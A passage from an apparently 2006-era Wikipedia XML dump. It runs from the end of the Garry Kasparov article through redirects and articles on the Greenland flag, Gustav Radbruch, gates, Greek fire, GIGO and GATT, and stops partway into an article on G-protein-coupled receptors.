&lt;!-- DO NOT ADD chesshere.com SEE THE TALK/DISCUSSION page and explain why chesshere.com (an inferior site) deserves to be listed here.  Wikipedia is not a links directory.  One link to a database is sufficient and chessgames.com presents the data in a much better way.  Continually adding it despite *many* requests for discussion will be taken to mean vandalism. See talk page, explain, and make no further additions until an agreement is made.  Keeping article without chesshere.com because that's the way it was. --&gt;
*{{fide|id=4100018|name=Garry Kasparov}}
*[http://www.chessgames.com/perl/chessplayer?pid=15940 Kasparov's games at chessgames.com]
*[http://www.wtharvey.com/kasp.html 100 crucial positions from his games]
*[http://www.chessmaniac.com/Games/MyChessViewer/kasparov.htm Garry Kasparov: 1878 Games 1973-1998]
*[http://www.GothicChess.com/news.html On Fischer's Challenge to Topalov]
*[http://www.bobby-fischer.net/Garry_Kasparov_Retires_Video.html Kasparov Speaks on Retirement] Video clip
*[http://www.mark-weeks.com/chess/85kk$$.htm The World Championship of 1985]
*[http://news.bbc.co.uk/1/hi/world/europe/4163439.stm Kasparov's political opinion]
*More about Kasparov's retirement from [http://www.chesscenter.com/twic/r15.html ''The Week in Chess''] and [http://www.chessbase.com/newsdetail.asp?newsid=2258 Chessbase]
*Kasparov is also a contributing editor of ''[[The Wall Street Journal]]'':
:*[http://www.opinionjournal.com/editorial/feature.html?id=110006444 The Great Game], on retiring to focus on Russian politics, [[March 19]], [[2005]]
:*[http://www.opinionjournal.com/editorial/feature.html?id=110005371 Fischer's Price], on Bobby Fischer, [[July 19]], [[2004]]
:*[http://www.opinionjournal.com/editorial/feature.html?id=110005100 Stop the Moral Equivalence], on terrorism, [[May 19]], [[2004]]
:*[http://www.opinionjournal.com/extra/?id=110004820 Putinocracy], on Putin's regime, [[March 14]], [[2004]]
:*[http://www.opinionjournal.com/extra/?id=110003081 Man vs. Machine], on computer chess, [[February 16]], [[2003]]
:*[http://www.opinionjournal.com/editorial/feature.html?id=110002087 The War Is Not Yet Won], on war in the Middle East, [[August 5]], [[2002]]

{{start box}}
{{succession box |
  before=[[Anatoly Karpov]]|
  title=[[World chess champion|World Chess Champion]] |
  years=1985&amp;ndash;1993 |
  after=[[Veselin Topalov]] (disputed)
}}
{{succession box |
  before=[[Anatoly Karpov]]|
  title=[[Fédération Internationale des Échecs|FIDE]] world champion |
  years=1985&amp;ndash;1993 |
  after=[[Anatoly Karpov]]
}}
{{succession box |
  before=''(none)''|
  title=[[World chess champion|PCA World Chess Champion]] |
  years=1993&amp;ndash;2000 |
  after=[[Vladimir Kramnik]]
}}
{{end box}}

[[Category:1963 births|Kasparov, Gary]]
[[Category:Armenian chess players|Kasparov, Garry]]
[[Category:Azerbaijani chess players|Kasparov, Garry]]
[[Category:Chess grandmasters|Kasparov, Garry]]
[[Category:Jewish chess players|Kasparov, Garry]]
[[Category:Living people|Kasparov, Garry]]
[[Category:Russian chess players|Kasparov, Garry]]
[[Category:World Chess Champions|Kasparov, Garry]]

[[ar:كاسباروف]]
[[af:Garry Kasparov]]
[[bs:Garry Kasparov]]
[[da:Garry Kasparov]]
[[de:Garri Kimowitsch Kasparow]]
[[et:Garri Kasparov]]
[[el:Γκάρι Κασπάροβ]]
[[es:Garry Kasparov]]
[[fr:Garry Kasparov]]
[[hi:गैरी कास्परोव]]
[[id:Garry Kasparov]]
[[it:Garry Kasparov]]
[[he:גארי קספרוב]]
[[lt:Garis Kasparovas]]
[[lb:Garri Kimowitsch Kasparow]]
[[nl:Garri Kasparov]]
[[ja:ガルリ・カスパロフ]]
[[ka:კასპაროვი, გარი]]
[[no:Garry Kasparov]]
[[pl:Garri Kasparow]]
[[pt:Garry Kasparov]]
[[ru:Каспаров, Гарри Кимович]]
[[sl:Gari Kasparov]]
[[fi:Garri Kasparov]]
[[sv:Garri Kasparov]]
[[tr:Garri Kasparov]]</text>
    </revision>
  </page>
  <page>
    <title>Geheime Staatspolizei</title>
    <id>12812</id>
    <revision>
      <id>15910469</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <comment>moved to &quot;Gestapo&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Gestapo]]
</text>
    </revision>
  </page>
  <page>
    <title>Gianlorenzo Bernini</title>
    <id>12814</id>
    <revision>
      <id>15910471</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>151.24.188.173</ip>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Gian Lorenzo Bernini]]</comment>
      <text xml:space="preserve">#REDIRECT [[Gian Lorenzo Bernini]]
</text>
    </revision>
  </page>
  <page>
    <title>Flag of Greenland</title>
    <id>12815</id>
    <revision>
      <id>36403184</id>
      <timestamp>2006-01-23T20:50:08Z</timestamp>
      <contributor>
        <username>Hede2000</username>
        <id>284384</id>
      </contributor>
      <minor />
      <comment>+da:</comment>
      <text xml:space="preserve">[[Image:Flag of Greenland.svg|thumb|250px|[[Image:FIAV_52.png]] Flag of Greenland]]
The '''flag of Greenland''' was designed by [[Greenland]] native Thue Christiansen. It features two equal horizontal bands of white (top) and red with a large disk slightly to the hoist side of center. The top half of the disk is red, the bottom half is white. The entire flag measures 12 by 18 parts; each [[stripe]] measures 6 parts; the disk is 8 parts in diameter, horizontally offset by 7 parts from the hoist to the center of the circle, and vertically centered.

Its local name in the [[Kalaallisut language|Greenlandic language]] is ''Erfalasorput'', which means &quot;our flag&quot;, but ''Aappalaartoq'' (meaning &quot;the red&quot;) is also used for both the Greenlandic flag and the [[Dannebrog]].
Today Greenlanders display both the ''Erfalasorput'' and the Dannebrog, often side-by-side.

Greenland first entertained the idea of a flag of its own in [[1973]] when five Greenlanders proposed a green, white and blue flag.  The following year, a newspaper solicited eleven design proposals (all but one of which was a Nordic cross) and polled the people to determine the most popular.  The Dannebrog was better liked than any.  Little came of this effort.

In [[1978]], [[Denmark]] granted home rule to [[Greenland]], making it an equal member of the [[Danish Kingdom]].  The home rule government held an official call for flag proposals, receiving 555 (of which 293 were submitted by Greenlanders).  The deciding committee came to no consensus, so more proposals were solicited.  Finally the present red-and-white design by Christiansen narrowly won over a green-and-white Nordic cross by a vote of fourteen to eleven.  Christiansen's red-and-white flag was officially adopted [[June 21]], [[1985]].

To honor the tenth anniversary of the ''Erfalasorput'', the Greenland Post Office issued commemorative [[Postage Stamp|stamps]] and a leaflet by its creator.  He described the white stripe as representing the [[glacier]]s and ice cap; the red stripe, the [[ocean]]; the red semicircle, the [[fjord]]s; and the white semicircle, the [[iceberg]]s and pack ice.  The design is also reminiscent of the setting [[sun]] half-submerged below the horizon and reflected on the sea.

== External links ==

* [http://www.crwflags.com/fotw/flags/gl.html FOTW: Greenland] - History of the ''Erfalasorput'', including the rejected designs

[[Category:Greenland]]
[[Category:National flags|Greenland, Flag of]]

[[cs:Grónská vlajka]]
[[da:Grønlands flag]]
[[de:Flagge Grönlands]]
[[fr:drapeau du Groenland]]
[[he:דגל גרינלנד]]
[[it:Bandiera della Groenlandia]]
[[nl:Vlag van Groenland]]</text>
    </revision>
  </page>
  <page>
    <title>Gustav Radbruch</title>
    <id>12816</id>
    <revision>
      <id>39727342</id>
      <timestamp>2006-02-15T12:29:43Z</timestamp>
      <contributor>
        <ip>212.204.77.23</ip>
      </contributor>
      <text xml:space="preserve">'''Gustav Radbruch''', born [[November 21]], [[1878]] in [[Lübeck]]; died [[November 23]], [[1949]] in [[Heidelberg]], was a [[Germany|German]] [[law]] professor and political figure.

==Life==

Radbruch studied law in Munich, Leipzig and Berlin. He passed his first bar exam (&quot;[[Staatsexamen]]&quot;) in Berlin in 1901, and the following year he received his doctorate with a disseration on &quot;The lessons of adequate Causation.&quot; This was followed in 1903 by his qualification to teach criminal law in Heidelberg. In 1904, he was appointed Professor of Criminal and Trial Law and Legal Philosophy in Heidelberg. In 1914 he accepted a call to a professorship in [[Königsberg]] (today's [[Kaliningrad]]), and in 1914 he accepted one at [[Kiel]].

Radbruch was a member of the [[Social Democratic Party of Germany]]  (SPD), and held a seat in the [[Reichstag (institution)|Reichstag]] from 1920 to 1924. In 1921-22 and throughout 1923, he was Justice Minister in the cabinets of [[Joseph Wirth]] and [[Gustav Stresemann]]. During his time in office, a number of important laws were implemented, such as those giving women access to the justice system, and, after the assassination of [[Walter Rathenau]], the Law for the Protection of the Republic.

In 1926, Radbruch accepted a renewed call to lecture at Heidelberg. After the Nazi seizure of power in 1933, Radbruch was dismissed from his civil service post, as the universities were public entities. During the Nazi period, he devoted himself primarily to cultural-historical work. Immediately after the end of the [[World War II|Second World War]] in 1945, he resumed his teaching activities, but died in 1949 without being able to complete his planned updated edition of his textbook on legal philosophy.


==Work==

Radbruch's legal philosophy derived from [[Neokantianism]], which assumes that a categorical cleavage exists between Being (''Sein'') and Should (''Sollen''). According to this view, &quot;Should&quot; can never be derived from &quot;Being.&quot; Indicative of the Heidelberg school of Neokantianism to which Radbruch subscribed was that it interpolated the value-related cultural studies between the explanatory sciences (Being) and philosophical teachings of values (Should).  

In relation to the law, this [[triadism]] shows itself in the subfields of legal sociology, legal philosophy and legal dogma. Legal dogma assumes a place in between. It posits itself in opposition to positive law, as the latter depicts itself in social reality and methodologically in the objective &quot;should-have&quot; sense of law, which reveals itself through value-related interpretation. 

The core of Radbruch's legal philosophy consists of his tenets the concept of law and the idea of law. The idea of law is defined through a triad of justice, utility and security. Radbruch thereby had the idea of utility or usefuleness spring forth from an analysis of the idea of justice. Upon this notion was based the Radsbrucian formula, which is still vigorously debated today. The concept of law, for Radbruch, is &quot;nothing other than the given fact, which has the sense to serve the idea of law.&quot;  

Hotly disputed is the question whether Radbruch was a legal positivist before 1933 and executed an about-face in his thinking due to the advent of Nazism, or whether he continuned to develop, under the impression of Nazi crimes, the relativistic values-teaching he had already been advocating before 1933. 

The problem of the controversy between the spirit and the letter of the law, in Germany, has been brought back to public attention due to the trials of former East German soldiers who guarded the Berlin Wall--the so-called necessity of following orders. Radbruch's theories are posited against the positivist &quot;pure legal tenets&quot; represented by [[Hans Kelsen]] and, to some extent, also from [[Georg Jellinek]].

In sum, Radbruch's formula argues that where [[statutory law]] is incompatible with the requirements of [[justice]] &quot;to an intolerable degree&quot;, or where statutory law was obviously designed in a way that deliberately negates &quot;the equality that is the core of all justice&quot;, statutory law must be disregarded by a judge in favour of the justice principle. Since its first publication in [[1946]] the principle has been accepted by Germany's Federal Constitutional Court in a variety of cases. Many people partially blame the older German legal tradition of [[legal positivism]] for the ease with which Hitler obtain power in an outwardly &quot;legal&quot; manner, rather than by means of a coup. Arguably, the shift to a concept of [[natural law]] ought to act as a safeguard against dictatorship, an untrammeled State power and the abrogation of civil rights.

[[Category:1878 births|Radbruch, Gustav]]
[[Category:1949 deaths|Radbruch, Gustav]]
[[Category:German jurists|Radbruch, Gustav]]
[[Category:German ministers|Radbruch, Gustav]]
[[Category:German politicians|Radbruch, Gustav]]



[[de:Gustav Radbruch]]
[[pl:Gustav Radbruch]]</text>
    </revision>
  </page>
  <page>
    <title>Great programmer</title>
    <id>12817</id>
    <revision>
      <id>15910474</id>
      <timestamp>2003-02-20T12:34:35Z</timestamp>
      <contributor>
        <username>Egil</username>
        <id>7457</id>
      </contributor>
      <comment>Double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of programmers]]</text>
    </revision>
  </page>
  <page>
    <title>Greenlandic language</title>
    <id>12818</id>
    <revision>
      <id>15910475</id>
      <timestamp>2004-12-02T02:36:41Z</timestamp>
      <contributor>
        <username>Eequor</username>
        <id>49577</id>
      </contributor>
      <comment>Redirect.</comment>
      <text xml:space="preserve">#redirect [[Kalaallisut language]]</text>
    </revision>
  </page>
  <page>
    <title>Gospels</title>
    <id>12819</id>
    <revision>
      <id>15910476</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Gospel]]
</text>
    </revision>
  </page>
  <page>
    <title>Gate</title>
    <id>12821</id>
    <revision>
      <id>42110725</id>
      <timestamp>2006-03-03T22:12:35Z</timestamp>
      <contributor>
        <ip>62.183.50.164</ip>
      </contributor>
      <text xml:space="preserve">:''For alternate meanings see [[Gate (disambiguation)]]''

A '''gate''' (Ворота) is a point of entry to a space enclosed by [[wall]]s, or an opening in a fence. Gates may prevent or control entry or exit, or they may be merely decorative.

Larger gates can be used for a whole building, such as a [[castle]] or [[fortified town]], or the actual [[door]]s that block entry through the gatehouse.

In ancient and [[medieval times]], gatehouses of cities and castles were heavily defended and [[fortified]] to prevent breaching of the gates. Often the gate would consist of several pairs of doors and [[iron]] [[grate]]s along a [[tunnel]] through the gatehouse. The top of the tunnel commonly had [[murder hole]]s to allow defenders to attack [[invader]]s trying to breach the inner doors. [[Drawbridge]]s were common in conjuction with gates to facilitate passing the [[moat]]; moats were often used to increase the effective height of the walls.

See also: [[City gate]], [[Triumphal arch]], [[Torii]], [[Turnstile]], [[domotics]].


&lt;gallery&gt;
Image:Gate ajar.jpg|Gates may prevent entry, or they may be merely decorative.
Image:Gate at Stevens-Coolidge Place, Andover, Massachusetts.JPG|A small but elegant gate to a meadow path.
Image:Pergamonmuseum Babylon Ischtar-Tor.jpg|[[Ishtar Gate]] is the oldest [[city gate]] in existence.
Image:Sankt Petersburg Winterpalast 2005 e.jpg|Gates to official residences often feature elaborate [[ironwork]].
&lt;/gallery&gt;


[[Category:Fortification]]
[[Category:Architectural elements]]
[[Category:Gates]]

[[de:Tor (Architektur)]]
[[pl:Brama (architektura)]]</text>
    </revision>
  </page>
  <page>
    <title>Greek fire</title>
    <id>12822</id>
    <revision>
      <id>41972428</id>
      <timestamp>2006-03-02T23:42:10Z</timestamp>
      <contributor>
        <username>Jeffrey O. Gustafson</username>
        <id>158658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/134.174.248.151|134.174.248.151]] ([[User talk:134.174.248.151|talk]]) to last version by Tom harrison</comment>
      <text xml:space="preserve">[[Image:Greekfire-madridskylitzes1.jpg|right|thumb|300px|Depiction of Greek fire in the [[John Skylitzes|Madrid Skylitzes manuscript]].]]

'''Greek fire''' (also called '''Byzantine fire''', '''wildfire''' and '''[[liquid fire]]''',  [[Greek language|Greek]] '''Υγρό Πυρ''', ''igró pir'') was a weapon used by the [[Byzantine Empire]], said to have been invented by a [[Syriacs|Syrian]] [[Christianity|Christian]] [[refugee]] named Kallinikos (Callinicus) of [[Baalbek|Heliopolis]] (Syria), probably about [[673]]. Some people believe that he acquired this knowledge from the chemists of [[Alexandria]]. It was capable of discharging a stream of burning [[fluid]], and was very effective both on sea and land. However, it was used primarily at sea. It is rumored that the key to Greek fire's effectiveness was that it could continue burning under almost any conditions, even under water. It was known to the Byzantines' enemies as a &quot;wet, dark, sticky fire&quot; because it stuck to the unfortunate object it hit and was impossible to extinguish. Enemy ships were often afraid to come too near to the [[Byzantine navy|Byzantine fleet]], because, once within range, the [[fire]] gave the Byzantines a strong military advantage.  

Byzantine fire was largely responsible for many Byzantine military victories, and partly the reason for the Eastern Roman Empire surviving as long as it did. It was particularly helpful near the end of the empire's life when there were not enough inhabitants to effectively defend its territories. It was first used to repel the Arab siege of [[Constantinople]] in [[674]]-[[677]] ([[Battle of Syllaeum]]), and in [[717]]-[[718]]. The Byzantines also used this powerful weapon against the [[Varangian]]s (Vikings) in [[941]] and against the Venetians during the [[Fourth Crusade]]. It quickly became one of the most fearsome weapons of the medieval world. The mere sight of any sort of siphon, whether it was used for Greek fire or not, was often enough to defeat an enemy. However, Greek fire was very hard to control, and it would often accidentally set Byzantine ships ablaze.

Although similar substances have been invented in the modern age, the exact composition of the original Greek fire is currently assumed to be a lost art.

==Manufacture==

The ingredients, process of manufacture and usage were a very carefully guarded military secret, so secret it remains a source of speculation to this day. It may have been a mixture of [[sulfur]], [[quicklime]], and liquid [[petroleum]]. It is not clear if it was ignited by a flame as the mixture emerged from the syringe, or if it ignited spontaneously when it came into contact with water.  If the latter is the case, it is possible that the active ingredient was [[calcium phosphide]], made by heating lime, bones and charcoal. On contact with water, calcium phosphide releases [[phosphine]], which ignites spontaneously. 

These materials were apparently heated in a [[cauldron]], and then pumped out through a [[siphon]] or large [[syringe]], known as a ''siphonarios'' mounted on the bow of the ship. It could also be used in [[hand grenades]], made of earthenware vessels.

==Testimony==
 
The ''Memoirs'' of [[Jean de Joinville]], a thirteenth century French nobleman, include these observations[http://stronghold.heavengames.com/sc/history/greekfire] of Greek fire during the [[Seventh Crusade]]: 

:&quot;It happened one night, whilst we were keeping night-watch over the tortoise-towers, that they brought up against us an engine called a perronel, (which they had not done before) and filled the [[sling (weapon)|sling]] of the engine with Greek fire. When that good knight, Lord Walter of Cureil, who was with me, saw this, he spoke to us as follows: &quot;Sirs, we are in the greatest peril that we have ever yet been in. For, if they set fire to our turrets and shelters, we are lost and burnt; and if, again, we desert our defences which have been entrusted to us, we are disgraced; so none can deliver us from this peril save God alone. My opinion and advice therefore is: that every time they hurl the fire at us, we go down on our elbows and knees, and beseech Our Lord to save us from this danger.&quot;

:&quot;So soon as they flung the first shot, we went down on our elbows and knees, as he had instructed us; and their first shot passed between the two turrets, and lodged just in front of us, where they had been raising the dam. Our firemen were all ready to put out the fire; and the Saracens, not being able to aim straight at them, on account of the two pent-house wings which the King had made, shot straight up into the clouds, so that the fire-darts fell right on top of them.&quot;

:&quot;This was the fashion of the Greek fire: it came on as broad in front as a vinegar cask, and the tail of fire that trailed behind it was as big as a great spear; and it made such a noise as it came, that it sounded like the thunder of heaven. It looked like a dragon flying through the air. Such a bright light did it cast, that one could see all over the camp as though it were day, by reason of the great mass of fire, and the brilliance of the light that it shed.&quot;

:&quot;Thrice that night they hurled the Greek fire at us, and four times shot it from the tourniquet cross-bow.&quot;

==See also==
*[[Flamethrower]]
*[[Napalm]]
*[[Byzantine navy]]

==References==
* Spears, W.H., Jr. ''Greek Fire: The Fabulous Secret Weapon That Saved Europe'' (1969) ISBN 0960010637
* Partington, Riddick James (fwd by [[Frederick E. Morgan|Sir Frederick Morgan]]). ''A history of Greek fire and gunpowder'' (W. Heffer, Cambridge, 1960). [[Library of Congress Control Number|LCCN]] 60003402

&lt;!-- interwiki --&gt;
[[Category:Incendiary weapons]]
[[Category:Byzantine Empire]]

[[bg:Гръцки огън]]
[[cs:Řecký oheň]]
[[da:Græsk ild]]
[[de:Griechisches Feuer]]
[[el:Υγρό πυρ]]
[[es:Fuego griego]]
[[eo:Greka fajro]]
[[fr:Feu grégeois]]
[[id:Api Yunani]]
[[he:אש יוונית]]
[[nl:Grieks vuur]]
[[ja:ギリシア火薬]]
[[pl:Ogień grecki]]
[[pt:Fogo grego]]
[[ru:Греческий огонь]]
[[fi:Kreikkalainen tuli]]
[[sv:Grekisk eld]]
[[zh:希腊火]]</text>
    </revision>
  </page>
  <page>
    <title>GIGO</title>
    <id>12823</id>
    <revision>
      <id>41852102</id>
      <timestamp>2006-03-02T03:47:40Z</timestamp>
      <contributor>
        <username>Sifaka</username>
        <id>916327</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">'''Garbage In, Garbage Out''' (abbreviated to '''GIGO''') is an aphorism in the field of [[computer science]]. It refers to the fact that [[computer]]s, unlike humans, will unquestioningly process the most nonsensical of input [[data]] and produce nonsensical output. It was most popular in the early days of computing, but has fallen out of use as programs have become more sophisticated and now usually have checks built in to reject improper input.

GIGO is usually said in response to users who complain that a program did not &quot;do the right thing&quot; when given imperfect input. The first example of this was probably cited by [[Charles Babbage]], inventor of the first programmable device who said &quot;On two occasions I have been asked, 'Pray, Mr. Babbage, if you put into the machine wrong figures, will the right answers come out?' I am not able rightly to apprehend the kind of confusion of ideas that could provoke such a question.&quot; It is also commonly used to describe failures in human decision making due to faulty, incomplete, or imprecise data. For example, a badly written [[TeX]] document will look bad because the user did not correctly typeset the TeX source properly. This instance of GIGO could be described in a similar vein to [[WYSIWYG]] - ''what you see is what you get''.

Another, more recent, meaning of GIGO is '''Garbage In, Gospel Out'''. This phrase is a sardonic comment on the human tendency to accept the results from computer systems with unquestioning faith. An example of this blind-faith GIGO mentality is to believe that your work, stored in a computer, will be there whenever you need it even though you never perform data [[backup]] or [[anti-virus software|virus scan]].

It can also be used as an explanation for the poor quality of a digitized audio or video file. Although [[digitizing]] is the first step in cleaning up a signal, it does not, by itself, improve the quality. Defects in the original analog signal will be faithfully recorded, but may be identified and removed by a subsequent step. See [[Digital signal processing]].

==See also==
*[[KIBO]]
*[[SNAFU|FUBAR]]

{{FOLDOC}}
[[Category:4-letter acronyms]]

[[de:GIGO]]
[[pl:&amp;#346;mieci wesz&amp;#322;y, &amp;#347;mieci wysz&amp;#322;y]]
[[nl:GIGO]]</text>
    </revision>
  </page>
  <page>
    <title>Gdingen</title>
    <id>12824</id>
    <revision>
      <id>15910481</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Gdynia]]
</text>
    </revision>
  </page>
  <page>
    <title>Geometers</title>
    <id>12827</id>
    <revision>
      <id>15910484</id>
      <timestamp>2004-07-11T13:30:40Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of geometers]]</text>
    </revision>
  </page>
  <page>
    <title>GATT (disambiguation)</title>
    <id>12828</id>
    <revision>
      <id>31830679</id>
      <timestamp>2005-12-18T09:03:32Z</timestamp>
      <contributor>
        <username>Hathawayc</username>
        <id>221296</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''GATT''' might be an [[acronym]] or [[abbreviation]] for:

# [[General Agreement on Tariffs and Trade]]
# [[graphics address translation table]]
{{4LA}}</text>
    </revision>
  </page>
  <page>
    <title>General agreement on tariffs and trade</title>
    <id>12829</id>
    <revision>
      <id>15910486</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[General Agreement on Tariffs and Trade]]
</text>
    </revision>
  </page>
  <page>
    <title>Gipsy</title>
    <id>12830</id>
    <revision>
      <id>26876004</id>
      <timestamp>2005-10-30T12:50:41Z</timestamp>
      <contributor>
        <username>Anthony Appleyard</username>
        <id>119438</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[gypsy]]</text>
    </revision>
  </page>
  <page>
    <title>General Agreement on Tariffs and Trade</title>
    <id>12831</id>
    <revision>
      <id>41804914</id>
      <timestamp>2006-03-01T21:39:04Z</timestamp>
      <contributor>
        <ip>130.225.62.28</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''General Agreement on Tariffs and Trade''' (typically abbreviated '''GATT''') functioned as the precursor to the [[World Trade Organization]] trading system. GATT was created by the Bretton Woods meetings that took place in Bretton Woods, New Hampshire, in 1944, setting out a plan for economic recovery after World War II, by encouraging reduction in tariffs and other international trade barriers. Twenty-three nations signed the agreement. This first version of GATT is referred to as &quot;GATT 1947&quot;. In 1994, GATT was updated with new obligations upon its signatories. One of the most significant changes made in GATT (or &quot;GATT 1994&quot;) was the creation of the [[World Trade Organization]] ([[WTO]]). 75 of the GATT members and the [[European Communities]] are the founding members of WTO on 1.1.1995. Other 52 of the GATT members rejoined WTO in the next 2 years (the last is [[Republic of the Congo|Congo]] in 1997). After the WTO founding 21 new (non-GATT) members have joined and 28 are currently negotiating their membership. Of the former GATT members only [[Socialist Federal Republic of Yugoslavia|SFR Yugoslavia]] has not rejoined (and it's already impossible). Since [[Federal Republic of Yugoslavia|FR Yugoslavia]] (renamed to [[Serbia and Montenegro]] and with membership negotiations later split in two) is not recognised as direct SFRY sucessor state its application is considered a new one, non-GATT.

The GATT, as an international agreement, is very similar to a [[treaty]]. Under [[United States law]] it is classed as a [[congressional-executive agreement]]. It is based on the &quot;''unconditional most favored nation principle''.&quot;  This means that the conditions applied to the most favored trading nation (i.e. the one with the least restrictions) apply to all trading nations.

==&quot;Rounds&quot; of GATT trade negotiations==

The countries who signed GATT occasionally negotiated new trade agreements that all would enter into. Each such set of agreements was called a &quot;round&quot;.  In general, each of these agreements bound the members to reduce certain [[tariff]]s, with many special-case treatments of individual products, and in many cases with exceptions and modifications for each country.
# [[Geneva]] Round ([[1948]]):  23 countries.  GATT enters into force.
# [[Annecy]] Round ([[1949]]):  13 countries.
# [[Torquay]] Round ([[1951]]):  38 countries.
# Fourth Round - Geneva([[1956]]):  26 countries.  Tariff reductions.  Strategy set for future GATT policy toward developing countries, improving their positions as treaty participants.
# [[C. Douglas Dillon|Dillon]] Round ([[1962]]):  26 countries.  Tariff reductions. Named after [[C. Douglas Dillon]], then U.S. Undersecretary of State.
# [[Kennedy]] Round ([[1967]]): 62 countries.  Tariff reductions.  This was an across-the-board reduction rather than a product-by-product specification, for the first time.  Anti-[[dumping]] agreement (which, in the United States, was rejected by [[Congress of the United States|Congress]]).
# [[Tokyo]] Round ([[1979]]): 102 countries. Reduced non-tariff trade barriers. Also reduced tariffs on manufactured goods. Improvement and extension of GATT system.
# [[Uruguay Round]] ([[1993]]):  125 countries.  Created the [[World Trade Organization]] to replace the GATT treaty. Reduced tariffs and [[export subsidy|export subsidies]], reduced other [[import limit]]s and [[quota]]s over the next 20 years, agreement to enforce [[patent]]s, [[trademark]]s, and [[copyright]]s ([[TRIPS]]), extending international trade law to the service sector ([[GATS]]) and open up foreign investment.

==External links==
*[http://www.gatt.org/ Official Website of the GATT / WTO] 
*[http://pacific.commerce.ubc.ca/trade/GATT.html Text of GATT with 1966 amendments]
*[http://www.worldtradelaw.net/reports/gattpanels/ All GATT Panel Reports]
*[http://gatt.stanford.edu/page/home GATT Digital Library 1947-1994 at Stanford University]

==See also==
* [[List of international trade topics]]

[[Category:Treaties]]
[[Category:World Trade Organization]]
[[Category:International trade]]

[[bg:Общо споразумение за Тарифите и Търговията (ГАТТ)]]
[[de:General Agreement on Tariffs and Trade]]
[[fr:Accord général sur les tarifs douaniers et le commerce]]
[[ko:관세 및 무역에 관한 일반협정]]
[[it:General Agreement on Tariffs and Trade]]
[[mk:Генерален Договор за Трговија и Царини]]
[[nl:General Agreement on Tariffs and Trade]]
[[ja:関税および貿易に関する一般協定]]
[[pl:GATT]]
[[pt:Acordo Geral de Tarifas e Comércio]]
[[sv:GATT]]
[[vi:Hiệp ước chung về thuế quan và mậu dịch]]
[[tr:GATT]]</text>
    </revision>
  </page>
  <page>
    <title>G-protein-coupled receptor</title>
    <id>12832</id>
    <revision>
      <id>41958622</id>
      <timestamp>2006-03-02T22:00:50Z</timestamp>
      <contributor>
        <username>Semiconscious</username>
        <id>302094</id>
      </contributor>
      <minor />
      <comment>rm redundant cat</comment>
      <text xml:space="preserve">'''G-protein-coupled receptors''' (GPCRs), also known as ''seven transmembrane receptors'', ''heptahelical receptors'', or ''7TM receptors''), are a protein family of [[transmembrane receptor]]s that [[Signal transduction|transduce]] an extracellular signal ([[Ligand_%28biochemistry%29|ligand]] binding) into an intracellular signal ([[G protein]] activation).  The GPCRs are the largest protein family known, members of which are involved in all types of stimulus-response pathways, from intercellular communication to physiological senses.  The diversity of functions is matched by the wide range of ligands recognized by members of the family, from photons (rhodopsin, the archetypal GPCR) to small molecules (in the case of the histamine receptors) to proteins (for example, chemokine receptors). This pervasive involvement in normal biological processes has the consequence of involving GPCRs in many pathological conditions, which has led to GPCRs being the target of 40 to 50% of modern medicinal drugs.{{ref|lotsofdrugs Filmore 2004}}

== Physiological roles ==
GPCRs are present in a wide variety of physiological processes. Some examples include:

# the visual sense: the [[opsin]]s use a photoisomerization reaction to translate electromagnetic radiation into cellular signals. [[Rhodopsin]], for example, uses the conversion of ''11-cis''-retinal to ''all-trans''-retinal for this purpose.
# the sense of smell: receptors of the [[olfactory epithelium]] bind odorants (olfactory receptors) and pheromones (vomeronasal receptors)
# behavioral and mood regulation: receptors in the [[mammal]]ian [[brain]] bind several different [[neurotransmitter]]s, including [[serotonin]] and [[dopamine]]
# regulation of [[immune system]] activity and [[inflammation]]: [[chemokine]] receptors bind ligands that mediate intercellular communication between cells of the immune system; receptors such as [[histamine]] receptors bind [[inflammatory mediators]] and engage target cell types in the [[Inflammation|inflammatory response]]
# autonomic nervous system transmission: both the [[sympathetic]] and [[parasympathetic]] nervous systems are regulated by GPCR pathways. These systems are responsible for control of many automatic functions of the body such as blood pressure, heart rate and digestive processes.
There are two types GPCRs viz chemosensory and endo GPCRs.

== Receptor structure ==
&lt;!-- Image with unknown copyright status removed: [[Image:OXTR_structure.png|thumb|right|300px|Schematic structure of the human OXTR with amino acid residues shown in one-letter code.&lt;br /&gt;[http://physrev.physiology.org/cgi/content/full/81/2/629 ''Physiol Rev. 2001 Apr;81(2): 629-83 Figure. 4'']] --&gt;

GPCRs are [[integral membrane protein]]s that possess seven membrane-spanning domains or [[transmembrane helix|transmembrane helices]]. The extracellular parts of the receptor can be [[Glycosylation|glycosylated]]. These extracellular loops also contain two highly conserved [[cysteine]] residues which build [[disulfide bond]]s to stabilize the receptor structure. 

Early structural models for GPCRs were based on their weak analogy to [[bacteriorhodopsin]] for which a structure had been determined by both electron and [[X-ray crystallography|X ray-based crystallography]]. In 2000, the first crystal structure of a mammalian GPCR, that of bovine [[rhodopsin]], was solved.  While the main feature, the seven transmembrane helices, is conserved, the structure differs significantly from that of bacteriorhodopsin. Some seven transmembrane helix proteins (such as [[channelrhodopsin]]) that resemble GPCRs may contain different functional groups, such as entire ion channels, within their protein.

== Ligand binding and signal transduction ==

